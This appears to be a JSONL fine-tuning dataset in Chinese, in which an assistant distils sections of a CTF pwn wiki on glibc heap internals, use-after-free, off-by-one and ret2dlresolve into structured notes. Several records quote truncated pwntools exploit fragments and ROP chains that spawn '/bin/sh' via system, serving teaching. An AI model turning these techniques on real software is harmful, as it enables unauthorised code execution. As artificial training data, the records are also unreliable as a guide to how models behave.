保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 353, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "arena 数量", "heading_path": ["define INTERNAL_SIZE_T size_t", "宏观结构", "arena", "arena 数量"], "original_id": "docs-ee855e1d63d23df40a82", "original_line": 961, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "source_root": "docs", "source_sha256": "b1de1dbec6826b99266e11e63b8d9fae7712a0f329395937de325e916d1378e8", "split": "train", "split_group_key": "c55f20ed419e97f155e4768b", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:text"], "title": "堆相关数据结构"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0e3693fe3c2635af8b34", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/basic-knowledge.md` 中的章节「在远程题目环境中进行利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/basic-knowledge.md`\n标题：基础知识\n章节：基础知识 > CTF kernel pwn 相关 > 在远程题目环境中进行利用\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“在远程题目环境中进行利用”展开。\n- 我们可以使用 musl-C、uclibc 等库来大幅降低可执行文件的大小，对于时间比较充足的题目也可以使用纯汇编来编写 exp。\n\n关键术语：\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- basic-knowledge.md\n- code:python\n\n代码/命令片段线索：\n- python: 19 行，首行 `from pwn import *`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 779, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "在远程题目环境中进行利用", "heading_path": ["基础知识", "CTF kernel pwn 相关", "在远程题目环境中进行利用"], "original_id": "docs-8257340939938cfec67e", "original_line": 655, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "source_root": "docs", "source_sha256": "103d18a2b1d91a49bd2c2a041ed56ddd9dc84d20450319eb6f4ff9118cc83e6d", "split": "train", "split_group_key": "9e1745dccf35c98217cb306c", "subcategory": "pwn/linux/kernel-mode", "terms": ["漏洞利用", "pwn", "linux", "kernel-mode", "basic-knowledge.md", "code:python"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0e546c436d080443d13c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md` 中的章节「概括」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md`\n标题：House of Pig\n章节：House of Pig > 概括\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“概括”展开。\n- House of Pig 是一个将 Tcache Stash Unlink+ Attack 和 FSOP 结合的攻击，同时使用到了 Largebin Attack 进行辅助。\n- 利用条件为 存在 UAF 能执行abort流程或程序显式调用 exit 或程序能通过主函数返回。\n- 主要利用的函数为 _IO_str_overflow，可以参考 glibc 2.24下 IO_FILE 的利用。\n- 利用流程为 1. 进行一个 Tcache Stash Unlink+ 攻击，把地址 __free_hook - 0x10 写入 tcache_pthread_struct。\n- 由于该攻击要求 __free_hook - 0x8 处存储一个指向可写内存的指针，所以在此之前需要进行一次 large bin attack。\n\n关键术语：\n- UAF\n- 边界/溢出\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 742, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "概括", "heading_path": ["House of Pig", "概括"], "original_id": "docs-ee607aad92c0001fc363", "original_line": 49, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md", "source_root": "docs", "source_sha256": "ad30bbcb365576fbe52c5fa885a96ce1ee3f7e048f759c291bf7b1aa50921256", "split": "train", "split_group_key": "548256342f7b12702fe1a09b", "subcategory": "pwn/linux/user-mode", "terms": ["UAF", "边界/溢出", "堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "House of Pig"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0eae5d35b44ee779cc7c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「exploit」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`\n标题：堆中的 Off-By-One\n章节：堆中的 Off-By-One > 实例 1: Asis CTF 2016 b00ks > 利用 > exploit\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“exploit”展开。\n- ```python from pwn import * context.log_level=\"info\"\n- binary = ELF(\"b00ks\") libc = ELF(\"/lib/x86_64-linux-gnu/libc.so.6\") io = process(\"./b00ks\")\n- def createbook(name_size, name, des_size, des): io.readuntil(\"> \") io.sendline(\"1\") io.readuntil(\": \") io.sendline(str(name_size)) io.readuntil(\": \") io.sendline(name) io.readuntil(\": \") io.sendline(str(des_size)) io.readuntil(\": \") io.sendline(des)\n- def printbook(id): io.readuntil(\"> \") io.sendline(\"4\") io.readuntil(\": \") for i in range(id): book_id = int(io.readline()[:-1]) io.readuntil(\": \") book_name = io.readline()[:-1] io.readuntil(\": \") book_des = io.readline()[:-1] io.readuntil(\": \") book_author...\n- def createname(name): io.readuntil(\"name: \") io.sendline(name)\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:python\n\n代码/命令片段线索：\n- python: 73 行，首行 `from pwn import *`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2217, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "exploit", "heading_path": ["堆中的 Off-By-One", "实例 1: Asis CTF 2016 b00ks", "利用", "exploit"], "original_id": "docs-6ccdc197efd7a771cbbe", "original_line": 1020, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "source_root": "docs", "source_sha256": "c9420c20a42485b6b155210d4899dbe07dde5bd50311698d2cedbba97b522cfe", "split": "train", "split_group_key": "e1ecfc90c459bebd524ed2ed", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:python"], "title": "堆中的 Off-By-One"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0ef92e1a202932453568", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「send resolve data」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：send resolve data\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“send resolve data”展开。\n- io.send(resolve_data) rop = ROP(\"./main_partial_relro_64\") rop.raw(offset'a') sh = \"/bin/sh\\x00\" bin_sh_addr = store_addr+len(resolve_data) rop.raw(csu(0, 1 ,elf.got['read'],0,bin_sh_addr,len(sh))) rop.raw(vuln_addr) rop.raw(\"a\"(256-len(rop.chain()))) io.se...\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 287, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "send resolve data", "heading_path": ["send resolve data"], "original_id": "docs-3aa15bbd890ef42e5159", "original_line": 1354, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "8d5c24ac69c57e1ffab76212", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0f0d1e059cd540a63818", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md` 中的章节「add_note」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md`\n标题：Use After Free\n章节：Use After Free > 例子 > 功能分析 > add_note\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“add_note”展开。\n- 根据程序，我们可以看出程序最多可以添加5个note。\n- note的结构体定义如下: ``c struct note { void (printnote)();\n- ` add_note 函数代码如下: `c++ unsigned int add_note() { note *v0;\n- // [esp+1Ch] [ebp-Ch] v5 = __readgsdword(0x14u);\n- notelist[i] ) { notelist[i] = malloc(8u);\n\n关键术语：\n- UAF\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n- code:c++\n\n代码/命令片段线索：\n- c: 4 行，首行 `struct note {`\n- c++: 45 行，首行 `unsigned int add_note()`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1038, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "add_note", "heading_path": ["Use After Free", "例子", "功能分析", "add_note"], "original_id": "docs-ddeeefdc0d1465df4db8", "original_line": 1119, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md", "source_root": "docs", "source_sha256": "280ce3e15e835a91782f3994f9563b6399c11cb2ddc7b2393a90599906f09806", "split": "train", "split_group_key": "1213494778018a3ce8715f86", "subcategory": "pwn/linux/user-mode", "terms": ["UAF", "堆", "pwn", "linux", "user-mode", "heap", "code:c", "code:c++"], "title": "Use After Free"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0f7e26f2842593abae58", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md` 中的章节「-- coding: utf-8 --」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md`\n标题：Use After Free\n章节：-- coding: utf-8 --\n路径分类：pwn / pwn/linux/user-mode\n分块：1/3\n\n核心知识点：\n- 本节主题围绕“-- coding: utf-8 --”展开。\n- def addnote(size, content): r.recvuntil(\":\") r.sendline(\"1\") r.recvuntil(\":\") r.sendline(str(size)) r.recvuntil(\":\") r.sendline(content)\n- def delnote(idx): r.recvuntil(\":\") r.sendline(\"2\") r.recvuntil(\":\") r.sendline(str(idx))\n- def printnote(idx): r.recvuntil(\":\") r.sendline(\"3\") r.recvuntil(\":\") r.sendline(str(idx))\n- addnote(32, \"aaaa\") # add note 0 addnote(32, \"ddaa\") # add note 1\n- delnote(0) # delete note 0 delnote(1) # delete note 1\n\n关键术语：\n- UAF\n- 边界/溢出\n- 堆\n- 栈\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 2 行，首行 `我们可以具体看一下执行的流程，首先先下断点`\n- plain: 1 行，首行 `**两处free下断点**`\n- plain: 1 行，首行 `然后继续执行程序，可以看出申请note0时，所申请到的内存块地址为0x0804b008。（eax存储函数返回值）`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3129, "chunk_count": 3, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "-- coding: utf-8 --", "heading_path": ["-- coding: utf-8 --"], "original_id": "docs-73d60faa9c77f520a16c", "original_line": 1123, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md", "source_root": "docs", "source_sha256": "280ce3e15e835a91782f3994f9563b6399c11cb2ddc7b2393a90599906f09806", "split": "train", "split_group_key": "5d04a0d42b3766c77611f127", "subcategory": "pwn/linux/user-mode", "terms": ["UAF", "边界/溢出", "堆", "栈", "AI安全", "pwn", "linux", "user-mode", "heap"], "title": "Use After Free"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1034983b6e232c6b0d08", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「stack privot to bss segment, set esp = base_stage」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：stack privot to bss segment, set esp = base_stage\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“stack privot to bss segment, set esp = base_stage”展开。\n- stack_size = 0x800 # new stack size is 0x800 base_stage = bss_addr + stack_size rop.raw('a' * offset) # padding rop.read(0, base_stage, 100) # read 100 byte to base_stage rop.migrate(base_stage) r.sendline(rop.chain())\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 218, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "stack privot to bss segment, set esp = base_stage", "heading_path": ["stack privot to bss segment, set esp = base_stage"], "original_id": "docs-86713c2c514071d8c059", "original_line": 1311, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "17d84a2cfefe5d827397db09", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-10803755cfe7a8d045e1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location”展开。\n- rop = ROP(\"./main_partial_relro_64\") offset = 112+8 rop.raw(offset'a') resolve_data, resolve_call = ret2dlresolve_x64(elf, store_addr, \"system\",elf.got[\"write\"]) rop.raw(csu(0, 1 ,elf.got['read'],0,store_addr,len(resolve_data))) rop.raw(vuln_addr) rop.raw(\"...\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 335, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location", "heading_path": ["construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location"], "original_id": "docs-f7159496d2f12b1652c0", "original_line": 1352, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "5610eb9dcb14c3bd04926a1c", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1092fc66405404c02d70", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「简单检查 chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：申请内存块 > _int_malloc > 大循环-遍历 unsorted bin > 寻找较大 chunk > 简单检查 chunk\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“简单检查 chunk”展开。\n- It is likely to be non-empty / // 获取对应的bin victim = last(bin);\n- / If a false alarm (empty bin), clear the bit. / // 如果victim=bin，那么我们就将map对应的位清0，然后获取下一个bin // 这种情况发生的概率应该很小。\n- if (victim == bin) { av->binmap[ block ] = map &= ~bit;\n- / Write through / bin = next_bin(bin);\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 11 行，首行 `/* Inspect the bin. It is likely to be non-empty */`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 326, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "简单检查 chunk", "heading_path": ["申请内存块", "_int_malloc", "大循环-遍历 unsorted bin", "寻找较大 chunk", "简单检查 chunk"], "original_id": "docs-a9f048fefb4d77e19616", "original_line": 1154, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "9398c9d0186a2da09a7105f9", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-109855cc21ddd06c3b15", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/browser/chrome/introduction.md` 中的章节「Reference」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/browser/chrome/introduction.md`\n标题：Chromium\n章节：Chromium > Reference\n路径分类：pwn / pwn/browser/chrome\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Reference”展开。\n- https://arttnba3.cn What Are Rendering Engines: An In-Depth Guide RenderingNG deep-dive: BlinkNG How Does the Browser Render HTML?\n\n关键术语：\n- pwn\n- browser\n- chrome\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1760, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "Reference", "heading_path": ["Chromium", "Reference"], "original_id": "docs-76d3fcc648353512e455", "original_line": 621, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/browser/chrome/introduction.md", "source_root": "docs", "source_sha256": "da0b328e8f20a3f9c126506ebe1e73e59feefbbcceddd881ad3056a258dda324", "split": "train", "split_group_key": "106790d59257b478237495b9", "subcategory": "pwn/browser/chrome", "terms": ["pwn", "browser", "chrome", "introduction.md"], "title": "Chromium"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/browser/chrome/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-10d237e5b1dab26506bc", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/heap_overview.md` 中的章节「内核堆概述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/heap_overview.md`\n标题：内核堆概述\n章节：内核堆概述\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“内核堆概述”展开。\n- 类似于用户态进程中的堆（heap），内核也有着自己的一套动态内存管理机制，为了方便这里我们同样将内核中动态分配的内存称为“堆”。\n- Linux kernel 将内存分为 页→区→节点 三级结构，主要有两个内存管理器—— buddy system 与 slab allocator，前者负责以内存页为粒度管理所有可用的物理内存，后者则向前者请求内存页并划分为多个较小的对象（object）以进行细粒度的内存管理。\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 211, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "内核堆概述", "heading_path": ["内核堆概述"], "original_id": "docs-6be5d41a4eee70c15efb", "original_line": 723, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/heap_overview.md", "source_root": "docs", "source_sha256": "e7a66e37499b742f2c467a797689b8b366f0d217b52739a47ab5db0940b37235", "split": "train", "split_group_key": "ed5cfb2767f583391906023e", "subcategory": "pwn/linux/kernel-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "内核堆概述"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/heap_overview.md", "split": "train", "type": "ctf_lora_sft"}
